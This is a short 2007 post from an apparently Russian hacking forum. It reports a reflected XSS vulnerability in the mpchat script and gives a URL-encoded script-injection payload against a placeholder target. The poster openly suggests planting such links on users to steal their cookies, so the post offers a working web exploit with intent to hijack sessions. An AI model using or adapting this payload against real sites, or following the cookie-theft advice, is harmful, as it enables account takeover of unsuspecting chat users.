Тема: Флуд mpchat или взлом?
Показать сообщение отдельно

  #2  
Старый 29.03.2007, 15:22
Horsekiller
Познающий
Регистрация: 22.11.2006
Сообщений: 68
Провел на форуме:
682079

Репутация: 137
По умолчанию
Недавно я нашел пассивную XSS в mpchat.

Код:
http://target.com/exit.html?nick=%22%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3
Можешь попробовать впарить юзерам ссылки, получить кукисы.